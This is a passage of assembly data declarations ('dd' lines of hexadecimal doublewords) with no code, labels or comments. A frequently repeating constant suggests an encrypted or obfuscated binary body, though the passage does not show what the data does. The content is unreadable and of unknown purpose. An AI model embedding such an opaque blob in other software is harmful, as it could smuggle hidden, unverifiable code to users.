2FB821F7h, 0ABEA159Dh, 0B79C072Eh dd 35F2B008h, 32156CADh, 649C4722h, 28A27801h, 3D906A9Dh dd 321568C3h, 0D5940622h, 103C671Fh, 3215EB87h, 0F4746644h dd 0D2123FA7h, 5AED2016h, 0A6D8366Fh, 321DE54Bh, 0BA1A6622h dd 32156613h, 87EA07E8h, 35F54945h, 339869DBh, 0CB156611h dd 0BEDE305h, 547561A4h, 0FCBADA3h, 5391A991h, 3CFCB677h dd 0AE156644h, 9984FD43h, 0CA4099AAh, 9AF40F69h, 0B79C9AA8h dd 35F2B04Eh, 0A703D871h, 694633E3h, 6B90A025h, 74128625h dd 32156AF8h, 0D7A4E788h, 0A37E2805h, 0FABF87B9h, 0A7AC064Ah dd 8A317622h, 63B2F6D1h, 462E0E43h, 0BE1AD733h, 3215668Eh dd 52CFED24h, 87EA0743h, 35F54910h, 321FE887h, 37FC6644h dd 8156622h, 0B26C6FFDh, 0BEDE305h, 3DFC61A4h, 0F1156622h dd 31856E32h, 83321A73h, 0B73F0317h, 0E2EA1AF5h, 3214EA1Eh dd 0DBED6688h, 32156656h, 620E06D0h, 6F88DF65h, 0F8C29529h dd 0A9F4DC55h, 0B79C9F33h, 35F2B061h, 32156B61h, 2167144h dd 32D82F73h, 89F66198h, 0F4EC2FFFh, 0D2123FC1h, 0B41A2025h dd 32156614h, 0F49E00E8h, 0D8F80E25h, 0CDECB95Bh, 0D23A67A4h dd 0B7989F8Fh, 35F55FBCh, 3AFC0642h, 0E0156611h, 3D40721Ah dd 0B2364FEFh, 0DB74D7EDh, 32156603h, 3F4D6F9h, 7BBB6450h dd 0EA58AEFEh, 3790F60Bh, 0CD742D3Fh, 0CAA60694h, 53E2D92Dh dd 4690EFE8h, 3D12815Eh, 32156BC9h, 321D8F22h, 0A17C6611h dd 0C90A5D32h, 8F96D85Ch, 35F56673h, 89906911h, 52156688h dd 26D706FEh, 32058E59h, 89686611h, 0C2726011h, 661F40AAh dd 0E2D52246h, 3EFD7C83h, 0C7156688h, 0A18B9069h, 0CA968643h dd 6C97F21Eh, 0B7D307D7h, 35F5611Dh, 0B71A9F71h, 32156601h dd 32156D61h, 9A568E44h, 0E5CC65ECh, 0F6F817B1h, 8CF538E0h dd 0D795068Ah, 7F8EDDCBh, 0CD744A39h, 0D23A673Dh, 0B7989E43h dd 35F55FDAh, 321574F8h, 2A4E7788h, 0B1CF695Ah, 0A6ACBB18h dd 3047BF15h, 0CDB7BC04h, 32018F94h, 0A64F6622h, 5B9F623Eh dd 0E0B651CCh, 0ADED1506h, 2ADB09CDh, 0B21ACE0Ah, 32156689h dd 2290EFB1h, 0DB1281F4h, 3215661Fh, 0E058286h, 4FD5A147h dd 3B4B63B0h, 0B7D3A9DAh, 35F561D1h, 0B57D9F03h, 0DBD2D77Ch dd 32156616h, 296BE84h, 0CD011D95h, 0D23A6797h, 32068F16h dd 9A556688h, 0D64AD081h, 3B7721B1h, 0B23CD0D6h, 3F90AEACh dd 0CA90EBFEh, 3D12861Bh, 32156194h, 33976988h, 0CA156644h dd 0BBECB6DDh, 0D5C37294h, 0B3759A8Fh, 0EC04DC9Ch, 321C8F63h dd 0AD386611h, 9CD45402h, 534EC54Ah, 3244DBA1h, 3D1561F1h dd 3215FA0Dh, 0B7D39E44h, 35F5617Bh, 35976956h, 3D156688h dd 321567CFh, 377D9322h, 0DBF3046Fh, 32156682h, 1B75D6CEh dd 0CFEB138h, 87EA1E3Ah, 35F54989h, 32078F24h, 44806622h dd 93BF2651h, 6ECF484Ah, 84FA5685h, 0EA8EC4A3h, 0CA90EB70h dd 521286B1h, 0DAC7D94Bh, 3215662Dh, 472F0DA8h, 830C18C9h dd 554562A9h, 0C74FD3C8h, 23FC074Ah, 97156688h, 0ABB465D2h dd 8E99EADEh, 0B22FCA3Fh, 0D6E1447h, 0BBECB6BBh, 0D5C37EA7h dd 321A8F16h, 0D6176688h, 53C9150h, 0F37BE5CCh, 0E8EDEEC3h dd 6B90A00Eh, 71128643h, 21ADDE42h, 0F795029Ah, 0C47D07B1h dd 0CA871C4Dh, 1D14D3DDh, 0BFE961F1h, 0D22C9E0Dh, 32128F43h dd 5A76622h, 448B6C0h, 0DBC59998h, 3215664Bh, 4A4307D3h dd 4C5532A7h, 872DFA82h, 0DB82BB64h, 32156627h, 8082195h dd 2E90EFBFh, 0DB128192h, 32156624h, 7C5483A0h, 0B7D3F7E3h dd 35F5611Dh, 359F6961h, 3D156611h, 3215670Fh, 127D9A44h dd 0DBE947B5h, 32156601h, 51F7D8Ah, 51C42E5Dh, 848145CDh dd 0A80671D9h, 1D14D377h, 0B91A61A4h, 32156632h, 32156DF8h dd 0FB0DDA88h, 0BEFEFB23h, 0E7C2926Fh, 0BEDE39Ch, 0CDEC6168h dd 52EC0694h, 82C5E744h, 0A1DBE696h, 0B79C07E9h, 35F2B064h dd 3DDEED42h, 3215659Eh dd 76F2E688h, 63A8E525h, 32128622h, 32C1E31Eh, 37FC6688h dd 0BA156644h, 0B02518E4h, 354CE3D7h, 0CE566168h, 32BD652Ch dd 0B97306A9h, 87EA07CFh, 35F54989h, 32156BADh, 295CB122h dd 283D07DAh, 2A5BFA88h, 0B798F8DFh, 35F55FDAh, 0CAC599E8h dd 0E43DE301h, 38FC61A3h, 9156622h, 0C0C22DA1h, 0D8A48A8Ah dd 6B90A01Bh, 71128625h, 249B69E8h, 3D156688h, 321576C8h dd 321E8F22h, 12416611h, 49D6248Ah, 2272804Ah, 4C00EFBh dd 0CDED834Ah, 0D23A673Dh, 32058F43h, 80446622h, 0B53A4BB5h dd 0A59E0E6Fh, 301E2249h, 0B798A8E9h, 35F55FE9h, 0E2EA9A70h dd 32156BADh, 0DB7CDF22h, 8F8D785Ah, 55C9E81Bh, 0B79C56B2h dd 35F2B006h, 3201EB1Eh, 0CB756688h, 32156AADh, 0DE179422h dd 3A4A8CA0h, 7116BE04h, 0B7D30711h, 35F5617Bh, 0BF1A0652h dd 3215668Ch, 4541DF22h, 0FEE6E744h, 0CE7507C1h, 0F182F732h dd 0D37D0734h, 0DBFFCC10h, 32156617h, 0A2EBAE5Fh, 87EA7CBDh dd 35F54923h, 0CA90EBEDh, 521286B1h, 0B31A3DF7h, 32156626h dd 2847DD77h, 0DBC599E9h, 32156656h, 4C9D1E8Ah, 0B340A893h dd 7A00984Fh, 8349CC39h, 0B79C7FD8h, 35F2B03Dh, 32157261h dd 30040444h, 0A45397ABh, 709CF3BFh, 9BFB3B30h, 0CFDA77BDh dd 339969CBh, 0CA156611h, 354CE34Eh, 525661A4h, 32156ACBh dd 9F066611h, 0AD94DB2Eh, 6E36917Ah, 0F5A2699Ah, 33936970h dd 0CB156688h, 0C3B9512Ch, 3E9469A6h, 52156611h, 3215E787h dd 8A736644h, 0CD74331Ah, 0D23A67A4h, 32108F8Fh, 410C6644h dd 0BFACDC5Bh, 0D22C9E94h, 399F698Fh, 0DB156644h, 32156624h dd 464DDC4h, 0E2EA1394h, 0FD9E0024h, 0A2F4E674h, 0B79C074Bh dd 35F2B0B8h, 3219EA4Bh, 0BA1A6622h, 32156617h, 3215ED87h dd 0B7D36644h, 35F5617Bh, 321E8F5Eh, 15C76688h, 429A1BF3h dd 22CD9536h, 0A2C10E91h, 3DE0F1BDh, 321573CCh, 32058F22h dd 17126611h, 0A72FED05h, 7EB81B9h, 0BDA4BE6h, 87EA4294h dd 35F54989h, 321576ADh, 0CB6AA022h, 0D2B3808Eh, 6062D8D6h dd 47732CA4h, 32188F87h, 0FC206611h, 0A338788Eh, 0FAB87381h dd 0BFBF2F96h, 0D22C9E94h, 321A8F8Fh, 82216644h, 0AC210EC8h dd 839D3750h, 0C58EE9A6h, 0DBC599B2h, 32156636h, 0BEF443E2h dd 76830ACBh, 0DEA8F5DEh, 0F900B578h, 41162E9Ah, 3204E087h dd 3EFC6644h, 0E4156622h, 0FE14BC14h, 4E902702h, 0BB0C0F4Dh dd 0D5C352A7h, 0B7D39E16h, 35F561D1h, 2F98690Bh, 52156622h dd 38882BAEh, 32048FBDh, 4DE36644h, 9F397E8Bh, 0FCE3BBE8h dd 38AE1E89h, 539C7D93h, 5C1B644Ah, 87EA93E8h, 35F54989h dd 38FC9A24h, 0E3156622h, 59BA0CE7h, 0B1E64B68h, 0B7980719h dd 35F55FDAh, 3214E71Eh, 0CDEC6688h, 0F59E0694h, 53D2ED44h dd 0E42DE398h, 3AFC616Fh, 0F0156644h, 5CCAA45Ah, 0F4E9AEF4h dd 0D2123F0Dh, 20FC2B43h, 3F156622h, 1542F253h, 0A72964AAh dd 6390B22Bh, 27346FE6h, 339769F0h, 0CB156688h, 56C2F2Ch dd 32068FEAh, 65F36611h, 0D1F74E91h, 9FC25AE0h, 7D946B20h dd 274107AEh, 33A099AEh, 0DB12866Bh, 3215662Dh, 0DDFD64C7h dd 78A115D6h, 0D58BC4C6h, 0BF2CF42Bh, 0D22C9E94h, 37AD068Fh dd 53196E26h, 321FE42Dh, 60756611h, 329469D7h, 53156644h dd 5475B6DDh, 3DC3E3AFh, 32156005h, 0E2C2E744h, 534E21CDh dd 0E455E398h, 0B51A616Fh, 32156645h, 6B90A0DAh, 7F128616h dd 3204E087h, 3EFC6644h, 93156622h, 5879B1E4h, 57CB0DB5h dd 5A1C76B3h, 0EEE22BABh, 33A099E8h, 3D1286A7h, 321567CEh dd 0B7989322h, 35F55FE9h, 32156161h, 94BE3044h, 0EAF99D31h dd 3AFCB6EEh, 0BE156688h, 0BD59D8A1h, 0BBAF714Bh, 0D5C35A94h dd 32128F8Fh, 0AD376644h, 0A9861E8Bh, 6B90A09Ah, 6712868Fh dd 1F220EBDh, 0BF1AFA39h, 32156610h, 0D7AC0670h, 5443F11Eh dd 286DBCA3h, 33A09970h, 3D1286A7h, 32156DC2h, 32138F22h dd 89336611h, 485B8860h, 0BEDE3C9h, 0CDE961C2h, 2C9A69C1h dd 3D156688h, 32157ECBh, 32068F22h, 21796611h, 0ABF24811h dd 0FF6C8ACEh, 82C85D12h, 0FC99304Ch, 3C9C6977h, 0DB156644h dd 3215662Bh, 659FF431h, 0C39BA845h, 7690EF19h, 521281F4h dd 321568F9h, 75288888h, 825DC4B8h, 0D1DAB13Ch, 0DAB7AB92h dd 32156684h, 0D08077BBh, 0B3D9E06Ch, 0E2C0F209h, 0D2943ED7h dd 60EDD70Eh, 6B90A043h, 71128616h, 32156061h, 0D3C81444h dd 3DE2F376h, 3215679Eh, 187D9E88h, 52C7B3B4h, 8ADDE642h dd 53740771h, 33A09970h, 0DB12866Bh, 3215662Ah, 7A562E5Ah dd 603174A3h, 4AAE0024h, 321B8FA0h, 79786611h, 8BF7087Ah dd 0F2DCAD07h, 27F1EF4Dh, 0CA90EB70h, 521286B1h, 8C7388CEh dd 0CD74AFA6h, 0B79C9EC1h, 35F2B0C0h, 329D6924h, 54156622h dd 0F474BC9Ah, 0D2123F0Dh, 0B9753443h, 0EDAA69FBh, 86FF0E70h dd 3FFC9BCAh, 8A156644h, 8B815AD1h, 0EDA0F76Ch, 80BF5533h dd 1D14D3BBh, 0B91A61C2h, 3215660Ah, 3200E087h, 22FC6644h dd 73156622h, 48739FD5h, 0A16CDCB1h, 6A14C8CEh, 0BFCA4F8Dh dd 0D22C9E94h, 3F98698Fh, 0DB156644h, 3215662Ah, 9CD03623h dd 50C21D02h, 0BBEDB6BBh, 0D20D4BA7h, 64E00616h, 0F756E636h dd 0F4743F19h, 0D2123FA7h, 3AFC2116h, 2B156688h, 7EA72F48h dd 5A7AFBE1h, 0D08D3F88h, 0C79534E8h, 3FFC39F7h, 0B6156622h dd 0FE5116CEh, 0C2DE1A77h, 6525BF06h, 33A09943h, 5212863Eh dd 32156961h, 7B8EDF44h, 2F84385h, 0BA2B108Ah, 0D3A1C67Ch dd 0DB748ECEh, 32156631h, 0AC2AC225h, 48E9672h, 2D26F8D2h dd 0B43DBB41h, 0BFF91567h, 0D22C9E0Dh, 0B61A0643h, 32156622h dd 3213E91Eh, 0FB946688h, 146125A1h, 0DBC59943h, 32156601h dd 0C4F5E807h, 166049AFh, 1C76BCCDh, 46574BD8h, 0E459E301h dd 23FC61A3h, 0C6156622h, 73CFA3A5h, 92C6117Dh, 4C2CA019h dd 5CD524E3h, 31956971h, 0B2156688h, 0BAF7E9Eh, 53601E81h dd 354CE3D7h, 0CB526168h, 0CF75A42Ch, 33936993h, 0CA156611h dd 1D14D377h, 0B51A61A4h, 32156623h, 0CA90EBE8h, 3D1286B1h dd 32157FCBh, 219D6922h, 0DB156611h, 32156686h, 2AD5DADAh dd 2A96A6AFh, 27BAD2A7h, 0E2EAD747h, 6290EFB8h, 0DB1281F4h dd 32156603h, 40C1B02Ch, 60D4786h, 7EA3866Ch, 0E18A6A16h dd 0B7D3C680h, 35F5611Dh, 2B9C6965h, 52156611h, 22FCBA3Ch dd 0EE156644h, 9367EB60h, 6810FEBh, 879D53E2h, 539BBC34h dd 0CC010EDAh, 3FFCB9B7h, 95156688h, 8ADB296Eh, 87888FBh dd 14149276h, 1D14D377h, 21FC61A4h, 0FE156622h, 593F0D98h dd 7AB1C9D5h, 3874BBB6h, 0D631C97h, 0B798BB21h, 35F55F70h dd 3204E24Bh, 3EFC6622h, 0D8156611h, 31F76EBDh, 0B03E3E49h dd 0CDE3ED5Bh, 369169C1h, 52156688h, 0BB743C17h, 0D5C332A7h dd 0B7D39316h, 35F561D1h, 5475061Bh, 7AAFA9A9h, 532EA343h dd 0FAAA69D9h, 5A7D071Eh, 528B36D0h, 884A3671h, 61D749FFh dd 32068F25h, 9A466622h, 0C3D7C46Fh, 6BC41841h, 0DD53CEAFh dd 244DC44Eh, 87EA073Bh, 35F54989h, 0CA90EBB1h, 0CA12861Bh dd 0DA75B6EEh, 32156680h, 1E8A1938h, 0EDE9F428h, 0B94CF2A0h dd 0B79C075Eh, 35F2B01Ch, 32156ACBh, 73CAFD11h, 7D719B88h dd 0D2784A9Ch, 6B90A0BDh, 7D128616h, 321DE687h, 0B31A6644h dd 32156620h, 0D7D0771h dd 0CBD29AF3h, 1D14D3BBh, 547561C2h, 69EDBD90h, 3D749703h dd 321568C4h, 0DC940622h, 5E30E5EBh, 3215E087h, 0BF746644h dd 0D22C9EA7h, 32128F16h, 1A4B6688h, 97148335h, 52C599EBh dd 9B8E22AFh, 9EAE00CDh, 0B79C0756h, 35F2B0A6h, 32156BF8h dd 4E578388h, 0DBE358F8h, 0CF3FEB28h, 0B7D3E307h, 35F561D1h dd 3DFC0603h, 9A156622h, 0D30C280Eh, 0DC1F66B0h, 0B305D5Ch dd 0D99F4B71h, 5C590E70h, 0CDE09CD3h, 0D23A67F1h, 0B7989325h dd 35F55FE9h, 0DBC5997Dh, 32156642h, 0AE552463h, 0B79C919Fh dd 35F2B000h, 321560ADh, 0C83B22h, 0F429B65Bh, 0D2123F0Dh dd 0BA1A2143h, 3215662Ah, 3217E31Eh, 53756688h, 3431AB2Ch dd 32108FE1h, 6F086611h, 0DB2847A9h, 32156643h, 3A575F10h dd 0CDDBFE28h, 0D23A673Dh, 0B01A0643h, 32156620h, 0C7743943h dd 0BEDE305h, 0DBE061A4h, 32156636h, 7541AD11h, 0C83C66A5h dd 559C4665h, 0A400A2FFh, 844DA4E2h, 23FCB677h, 21156644h dd 0B2D6E71Bh, 3A34342Fh, 0CBA3F126h, 0C1259394h, 0E499E3ABh dd 0DB7561F6h, 32156683h, 0F9512B18h, 0F00E1C1Ah, 8D8AD5E1h dd 1318C3A3h, 6B90A025h, 6D128625h, 321577F8h, 0FBC7EE88h dd 80C3FC5Dh, 988892C1h, 0ECFE51EDh, 0FE7DDE6Dh, 0C7C1DD24h dd 1D14D3DDh, 0B61A61F1h, 32156689h, 0CA90EBB1h, 3D12861Bh dd 3215609Ch, 0F89E0688h, 0CD74D1F1h, 0B79C9AF2h, 35F2B04Dh dd 32156A61h, 5411ED44h, 125F44FDh, 0F6708B09h, 6B90A0D5h dd 6D128643h, 399F6942h, 0DB156611h, 3215668Eh, 192FBFD8h dd 0DA9FE286h, 665B0E70h, 3CFCF861h, 0CD156644h, 0A0F96B1h dd 1C373D82h, 0B6B78672h, 33A099CDh, 5212860Dh, 32156AF9h dd 0A3C53388h, 0FC853B36h, 73C79699h, 32128EACh, 9B276688h dd 0C8C87371h, 544F3E9Fh, 5274A09Ah, 32157260h, 548E6644h dd 0F6FB5846h, 0C9B7477Dh, 1960A235h, 0FD299AEDh, 634A9E5Ch dd 6AA8B891h, 0CA90EBE9h, 3D12867Dh, 321567ABh, 0E2EA9A11h dd 320DE887h, 0DB756644h, 32156632h, 5D4BD510h, 7CD6C10Fh dd 0B2337271h, 2D967359h, 0B79C07E4h, 35F2B0E8h, 6B90A0B8h dd 6D128625h, 321572F8h, 0E2C3AE88h, 0D87F856Ch, 748702D8h dd 0E9B9E3E0h, 7BFEAED2h, 1A5D0E93h, 3EFCB731h, 0A7156611h dd 37BBA030h, 80E291E6h, 0CD52FF78h, 0D23A67A4h, 0BF74068Fh dd 0D22C9EC1h, 0CDEC9325h, 2B9B69C1h, 0DB156688h, 32156650h dd 0B0F8293Dh, 0EE629E8Ah, 0A14D8336h, 0D99FD83Fh, 5949C221h dd 0E471E398h, 0BC1A616Fh, 32156643h, 0A033D942h, 0DB747563h dd 32156680h, 0BBACAEDCh, 2FF5DDFCh, 5AE9627Bh, 32157688h dd 22150EBCh, 58ED6622h, 0B91A0611h, 3215668Bh, 0B33EBCC4h dd 0CCB1B1F9h, 0DA75075Dh, 32156685h, 71EF85FCh, 5C08B520h dd 0F6C136AAh, 0B24D93EAh, 0CD74EE94h, 0D2122FB7h, 0B79C9316h dd 35F56EC5h, 9090EBB1h, 0C7128186h, 321575F8h, 20144E88h dd 70E901F6h, 88E8C04Fh, 0F2B5E6D4h, 0F8946814h, 26FCB6BBh dd 90156622h, 0E980B6C8h, 45979705h, 7A9C0DC2h, 30DE4003h dd 5839F61Ah, 3E90698Ch, 3D156644h, 321560ADh, 32936911h dd 5A156688h, 32157644h, 8D56D942h, 5A74636Fh, 32154688h dd 53C2ED24h, 32156DCBh, 8D3F1111h, 0EA0F769Ah, 2F117E55h dd 0B41A6648h, 32156610h, 7B809970h, 52128643h, 51B8DD44h dd 7CF1E643h, 0B79C07D2h, 35F57225h, 321CE62Dh, 87756611h dd 0C18DF7Ch, 0BB747CD6h, 0D20C9FA7h, 727F9E16h, 22150E71h dd 22FC6644h, 0C8156622h, 28C5FECAh, 0A50AA190h, 0B3F99475h dd 5A5DC61Ah, 32146611h, 0B01A0671h, 32156642h, 0DAF396A3h dd 5874413Bh, 3E9C6988h, 0DB156644h, 32156625h, 728B43DFh dd 0CDCCB150h, 0D2122FD1h, 321A8F25h, 4D636611h, 0BB10A9A1h dd 0B0983416h, 0DDAA3BD9h, 8B90EF1Eh, 52128688h, 321568ADh dd 71614422h, 9B846FC5h, 368A4162h, 52C798BEh, 52EAB5A3h dd 6C453F08h, 879E07E9h, 35F57861h, 3A9269DEh, 52156611h dd 9649DCEEh, 0B97416F4h, 0D2300FBFh, 3DFC0616h, 0B6156688h dd 2FD41525h, 9B55B3E6h, 3F22385Ah, 22FD6F6Ch, 24156644h dd 4654AD19h, 0C97B3B29h, 0D0AB4571h, 543C526Dh, 1E0187A3h dd 52750749h, 0B41A07E8h, 32156644h, 32068F43h, 94F56611h dd 5EE2AC2h, 7D87A964h, 6F5B7DE4h, 0D676FE85h, 879C079Fh dd 35F57D89h, 5388EFDBh, 0DB12860Fh, 3215668Dh, 0B88151DBh dd 5B88EDBBh, 0CB128634h, 0B3269970h, 3F624270h, 3E9E5BF8h dd 36D1E535h, 3F629709h, 0B1ED5B9Eh, 0B61A66DBh, 32155F32h dd 3200E087h, 22FC6644h, 2B156622h, 5579E4B5h, 1CEC5ACEh dd 0DAAF6843h, 5A2BD295h, 32150198h, 0CE316201h, 0B3F7EF16h dd 321562E0h, 36FFE711h, 0B5156688h, 0BB494250h, 0B21A422Eh dd 32156617h, 0B8DBEDE8h, 527507BCh, 3204ED2Dh, 39FD6611h dd 0F6156688h, 0B17887D0h, 389428D5h, 0CA4B90C4h, 3DD557E9h dd 321567CFh, 0B79C9E22h, 35F54F50h, 323DEA87h, 0DB756644h dd 3215662Dh, 1B78B1EDh, 8F7F8A65h, 4586B279h, 0DAA269B3h dd 3215661Dh, 0F669CC95h, 0A6DAD40Eh, 0D38305E0h, 5A40074Eh dd 5E6F61A3h, 3AF8A719h, 4BDE8BA3h, 0DC9C667Dh, 0B3314A03h dd 32156280h, 0F4949F22h, 61EB51FCh, 312A009h, 46166B2Fh dd 0DC944606h, 3F7E5716h, 5F88809h, 22FC35BAh, 23156622h dd 0B5FD0CB8h, 0EE983ACEh, 8B17768h, 5489ADEAh, 3AFC06BCh dd 92156688h, 62DB7199h, 54D5BAE3h, 1A0EBE90h, 65FB4BE9h dd 76166655h, 8D424606h, 320431FFh, 0CB4A9E89h, 0BB118AC7h dd 4AAC422Eh, 33156611h, 6B24ED49h, 321574ADh, 4EA55022h dd 88B1F79Bh, 0BB8A248Eh, 0D3447EF0h, 0B3733B22h, 4C32B0FFh dd 166165B1h, 0E4AF3464h, 332C1805h, 0B71A3CC7h, 3215669Fh dd 0DBCDD424h, 3215662Ch, 3A3A8E53h, 0F1DDC4F4h, 4CD7B77Dh dd 0CD743736h, 0E9E7E67h, 36D1E7ACh, 3D156644h, 32157BA4h dd 0B9730611h, 32068F73h, 2DBF6644h, 35226E72h, 6109F2E0h dd 63C16D2Eh, 0A2DB3161h, 8F9C070Bh, 35F577F0h, 3DEAE371h dd 32152FC1h, 39936922h, 0DB156611h, 3215668Eh, 948F2F80h dd 0DAEDB3CEh, 3215077Fh, 32156161h, 861A7E44h, 52BC31D4h dd 3210F8F8h, 21FD0688h, 90156644h, 4CDC97E0h, 9AFE3FC0h dd 907989CEh, 5A3F701Ch, 5375D756h, 53750649h, 0D67D07E9h dd 0BB156658h, 0B11A422Eh, 32156610h, 8847317Dh, 6E810992h dd 36313213h, 0C0943C4Bh, 6E81095Eh, 3212E64Bh, 0B51A6622h dd 32156610h, 36C70D7Dh, 32156EADh, 0F10B6222h, 6715CFA6h dd 32138F6Bh, 8B4A6644h, 0F427E784h, 2C44F398h, 58ED6168h dd 26FC9E40h, 86156622h, 0C8B98807h, 0FA5C345Eh, 4AF0F8F4h dd 361F107Dh, 5ADBD216h, 32157688h, 3214ED4Bh, 5AE96622h dd 32156A4Ch, 52317201h, 711FACC5h, 0B9734BC3h, 327F07CEh dd 37D6E7E8h, 5455F9F2h, 3D74A1A9h, 32157499h, 32188F88h dd 3286644h, 4035423Ah, 6F60C8A7h, 0CD419441h, 0D2122FD1h dd 0B79C9F25h, 35F57538h, 32156B61h, 0B5754844h, 4EAF5C2Ch dd 4B675365h, 0B945BD93h, 0F6944250h, 32156626h, 3214EA1Eh dd 0CDE06688h, 0B14C4270h, 22FC62E6h, 4B156611h, 4541DDEAh dd 0F4728ADCh, 95094EC1h, 0DA392FCFh, 321506B2h, 32198F24h dd 0AAD6622h, 45611030h dd 44345E30h, 0CE741130h, 0B3F3EF74h, 321562D7h, 36FBE588h dd 6E3152C3h, 0DB3152ABh, 3215661Eh, 10A6C35Bh, 4A892C92h dd 540E782Eh, 9F248EF5h, 32156E61h, 0CBE56E44h, 0D06F5F98h dd 76FC4B5Ch, 2D100F99h, 3157AA46h, 1F314266h, 70D9640Eh dd 23518F8Dh, 3393692Dh, 0CA156622h, 0BB118A92h, 6A42428Ch dd 3B94691Bh, 52156622h, 0A2CCE777h, 537406A0h, 0D3AF3413h dd 3200317h, 68114245h, 0D3E6E7D3h, 3D200371h, 321573A6h dd 32058F11h, 63A06688h, 0B1C28450h, 0B54A2903h, 6B266646h dd 0BB45A3BDh, 321163A4h, 0DA966622h, 1611E115h, 1629EFD4h dd 0C9CCE624h, 32156CCBh, 0AC9D7E11h, 10D438C5h, 53A39CC8h dd 8875A612h, 7F5D7E33h, 3919DFEEh, 0CF60C825h, 321575CBh dd 72DD9F11h, 1605AEAh, 0E1533278h, 0D502CA63h, 337A6EA9h dd 3210EC87h, 3D756644h, 0B9749F9Dh, 0BB404225h, 36D0E76Dh dd 0B1156644h, 1E9262E7h, 35FC3A35h, 156688h, 67B53D3Dh dd 8847B9A1h, 49642D8Dh, 0F31D8C49h, 0F89460A6h, 714B58A9h dd 0C094BCE6h, 0C4B0E673h, 1B4FB145h, 0FCFAE7FDh, 3D43E210h dd 32156708h, 0B67D9E44h, 0BB156615h, 0B91A4205h, 3215669Fh dd 321574ADh, 9F781522h, 0B9BDB041h, 0B24C02DFh, 8DC85EB0h dd 6414B84Dh, 0C09C9898h, 0B3315203h, 32156280h, 32128F22h dd 0D1F46611h, 66FBA865h, 3A90693Ch, 52156622h, 3215E91Eh dd 0B9746688h, 0D21D2BF9h, 2A9D6925h, 0DB156611h, 3215669Bh dd 0EB583D40h, 0B38F848Bh, 0ABA045CFh, 9CC104A0h, 8B5F21AFh dd 0CDEA99DDh, 321577F8h, 0B06FBF88h, 8A3D79B6h, 0D656A241h dd 0BF729FE6h, 0F2247F4Dh, 33956924h, 0CB156622h, 32AF3470h dd 33156688h, 0B917ECB6h, 0F6964236h, 0C09E0615h, 7E6E7EEh dd 0B61A07E5h, 32156627h, 0C19E0071h, 3DDD56E9h, 321567C2h dd 8B449E22h, 0CDEA99EEh, 0DB4CA8A1h, 3215664Bh, 0D4DC6F3Eh dd 2B1767A9h, 0A6B374A5h, 0CDC9712Fh, 369EE116h, 36D1E535h dd 320EEC87h, 0BA1A6644h, 32156637h, 321576F8h, 5AB67388h dd 0AA7E0173h, 0BF19BA2h, 881D9B6Dh, 3AFCA7AAh, 0CED457B1h dd 83D7ED42h, 3D5F07DAh, 0CDEA0B0Dh, 339369BBh, 0CE156622h dd 1611ED40h, 3D11A20Bh, 32156EC3h, 30916922h, 52156611h dd 36F9E7E9h, 0BB156644h, 26E24226h, 22FC3E35h, 0EF156688h dd 3C8C5584h, 0FE6B4CF6h, 0C7B4E108h, 0B97F0A5Fh, 0BB434250h dd 36D3E7C4h, 0B1156611h, 692624Eh, 0B21A3A60h, 32156623h dd 8370EE9h, 369C6688h, 3D17E960h, 321567AEh, 0B91A9F11h dd 3215669Fh, 321574ADh, 0F0C74522h, 1FFAEB50h, 6C895690h dd 12B54646h, 62FD73BCh, 321562A9h, 0B9D76788h, 0F6944240h dd 32156626h, 3214ED1Eh, 5AE96688h, 3215511Fh, 0DB3172ABh dd 32156616h, 6DFFD764h, 52CDEA4Ch, 4F7F4498h, 21906957h dd 0DB156688h, 3215664Ah, 359C66EFh, 7B62DDF2h, 95817473h dd 0CD741A02h, 0D23C27A7h, 0A79E9E16h, 35F54FC9h, 321FE34Bh dd 52756622h, 0C8E5E770h, 5329E009h, 3214EA4Bh, 0BE96622h dd 0D2048784h, 0A091698Fh, 0DB156644h, 32156633h, 87D87A3Fh dd 4B8DFCABh, 806351E5h, 72885C61h, 1601ED30h, 0B3F7EFDAh dd 32156286h, 36D7E722h, 0B5156611h, 5249429Ch, 68CBED17h dd 32156BCAh, 29FA2D11h, 5FB991A9h, 474EAA24h, 0B51A295Ah dd 32156611h, 6EA07D3h, 0F6963860h, 3BFC9F26h, 0D2156611h dd 16EC4434h, 0D4D9DB77h, 3211DD71h, 0EC146611h, 0B1317A03h dd 23FC6280h, 69156622h, 9148504h, 36B36454h, 90E201D7h dd 6BF60B63h, 0CDE971F8h, 0E5940677h, 21EF7D3Dh, 1601ED43h dd 0B3F2EF46h, 3215624Fh, 36D2E744h, 0B5156622h, 3D49422Dh dd 32157903h, 2B906944h, 0DB156622h, 32156605h, 9636D989h dd 0F0A35838h, 4AC8151Fh, 249A15F6h, 549F5DAFh, 321569ADh dd 0F3C87422h, 34461A36h, 0F966E581h, 0F8B790DDh, 643152A9h dd 0F4948098h, 3215668Ch, 0B511A0C7h, 0DB494216h, 3215661Eh dd 9A042E51h, 0F52EA438h, 3F5D96Ah, 530693D4h, 319769E8h dd 3D156644h, 0BE1A919Dh, 32156613h, 0CD7407E8h, 0B14C4270h dd 3AFC62E6h, 6E156611h, 0E572D550h, 0C7B9A2EAh, 653162A9h dd 0F5948198h, 3215668Ch, 0B511A1C7h, 3D49421Eh, 32156793h dd 0B91A9F88h, 3215664Ch, 329C6942h, 53156611h, 33B8E34Fh dd 321561A4h, 52E06622h, 3214E91Eh, 52E96688h, 0B5A53915h dd 0B7D20743h, 35F543A0h, 32156688h, 20F4E724h, 3D3CC638h dd 32156496h, 53A7D288h, 0E7D9DBC7h, 3D1561C5h, 32152C95h dd 3CFD0688h, 9B156644h, 448C2D40h, 0A6EB828Dh, 39CBFF2Bh dd 0C2CCE7E8h, 6D0E6661h, 0E427DC77h, 0EC88EBE9h, 521280DAh dd 0B0BCBFA3h, 0B61A5DB5h, 32156688h, 0DBC69925h, 3215662Dh dd 0C078B0CEh, 0BE2EB7F8h, 283299F9h, 0CD935AC7h, 0D2031B94h dd 32188F8Fh, 39296644h, 0E05C8A58h, 38B9B8D1h, 0B1D7EB9Ah dd 0D2031BF9h, 0B01A0225h, 321564E6h, 319E69E8h, 54156644h dd 0F574A5A9h, 0D2031B94h, 3215678Fh, 26946944h, 0DB156622h dd 3215661Eh, 8CC4BB6Ah, 4870C5C4h, 916F56A4h, 52E449B6h dd 3208E587h, 88756644h, 6F7D696Dh, 321577F8h, 2D81F88h dd 6FA5BB7Fh, 0CDDBEA74h, 11AD0EDFh, 0BF746C27h, 0D5B176C1h dd 64460625h, 54753E4Eh, 0A62D8009h, 0E2EA0725h, 321569CBh dd 39561F11h, 0D47B689Bh, 40182B83h, 0E4CF4E03h, 3212EC1Eh dd 0B31A6688h, 32156645h, 0AEA0EBD7h, 3D1281C7h, 32154600h 